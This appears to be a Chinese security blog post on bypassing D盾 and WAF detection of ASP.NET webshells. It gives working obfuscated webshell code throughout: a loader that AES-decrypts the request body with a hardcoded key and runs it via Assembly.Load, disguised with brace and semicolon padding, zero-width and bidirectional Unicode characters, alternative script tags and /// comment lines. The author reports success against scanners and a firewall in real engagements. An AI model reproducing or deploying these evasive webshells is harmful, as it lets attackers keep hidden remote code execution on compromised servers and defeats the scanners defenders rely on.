吐槽下,D盾的aspx检测模块挺神奇的。
https://xz.aliyun.com/t/10937
在该篇文章简单介绍了几种以前实战过的asp.net的免杀手法
再介绍几种相对少见一些的方法

花括号和分号

{}和分号;在原本语法结束的地方可以添加大量的该类混淆,不会影响其原本的解析

如下所示

<% @page language=c#%>;;;;;;;;;;;;;;;;;;;;
<%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b");{{{}}} byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);{{{;}}} Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);;;;;;;;;;;;;;;;;;;;;%>

能够一定程度的影响其解析,需要与其他手法配合

unicode空白连接符

我们都知道,unicode是支持在aspx里进行的,同样的,它也支持asmx和ashx,估计这类特性都是通用的。
并且我们知道,在unicode有一类字符叫做zwj零宽连字(全称 zero width joiner)
常见的zwj字符有如下几个
\u200c
\u200d
\u200e
\u200f
一个比较有意思的点吧,emoji的表情就是用zwj字符来进行连接的

除了上面的zwj,还有一种unicode编码叫做零宽不折行空格,也就是如下几种字符,都支持在字符间进行拼接,具体的概念可以直接百度。
\ufeff
\u202a
\u202b
\u202c
\u202d
\u202e

我们在asp.net环境下就可以利用上述的一些冷门unicode编码来对抗一些waf了

<%@language = c#%>
<%@Import  Namespace="System.Reflection"%>
<%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth); 
Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);;;;;;;;;;;;;;;;;;;;;%>

aspx别的声明标签

我们知道<% @language="C#" %>可以与<% @language="Csharp" %>进行替换
我们知道,在Php中有

<script language='php'>

这种标签
其实在asp.net环境下也同样的类似标签
如下图的代码是我们常见的<%%>模式

<% @language="C#" %>
<%Response.Write("hello world ashx");%>

接下来我们来将代码块的形式改成代码块的方式 ,

<script language=csharp runat=server>
void page_load(){Response.Write("hello world");}
</script>
也可以写成下面的这种形式
<script language=csharp runat=server>
void page_load(){Response.Write("hello world");}
</script>

可以看到仅需要添加void page_load(){ } 相关代码,代码大致如下

<script language=csharp runat=server>
void page_load(){
    Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth); 
    System.Reflection.Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);
}
</script>

当然,这只是一直简单的替换方式,我们可以和别的Bypass方式进行相结合。
就好比之前的c#替换成 csharp一样,在去年一次实战中就遇到一个AF就是拦截 c#关键字而 而不拦截 csharp。

换行特性

这个很简单哈,没什么好说的,效果比较一般
在没有换行之前

换行之后,可以看到还是起到一定的作用的,只不过效果可能不是非常的明显

成功连接,没有太大问题

c#的 ///特性和xml

在标准的情况下,c#规定了/// 能够在aspx中作为xml语法的注释,那么我们缩短一下语句,它是注释。

直接看demo案例吧,在不破坏直接语法的情况下(使用换行隔开,可以产生如下的效果)。
我们可以将该类的注释特性与aspx原本的/xx/和来进行一些结合,
成功

<%
@
language 
= 
c#
%>
<%
@Import 
 Namespace="System.Reflection"%>
<%Session.Add("k",
//////@#@!#!@#!@#!@#!@#!@#!@#
"e45e329feb5d925b"); byte[]
//////@#@!#!@#!@#!@#!@#!@#!@#
 k = Encoding.Default.GetBytes(Session[0] + ""),
//////@#@!#!@#!@#!@#!@#!@#!@#
c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth); 
//////@#@!#!@#!@#!@#!@#!@#!@#
Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>

失败,如果不是//则会出现语法解析错误的问题

<%@language = c#%>
<%@Import  Namespace="System.Reflection"%>
<%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth); 
\\
Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>

点击收藏 | 5 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖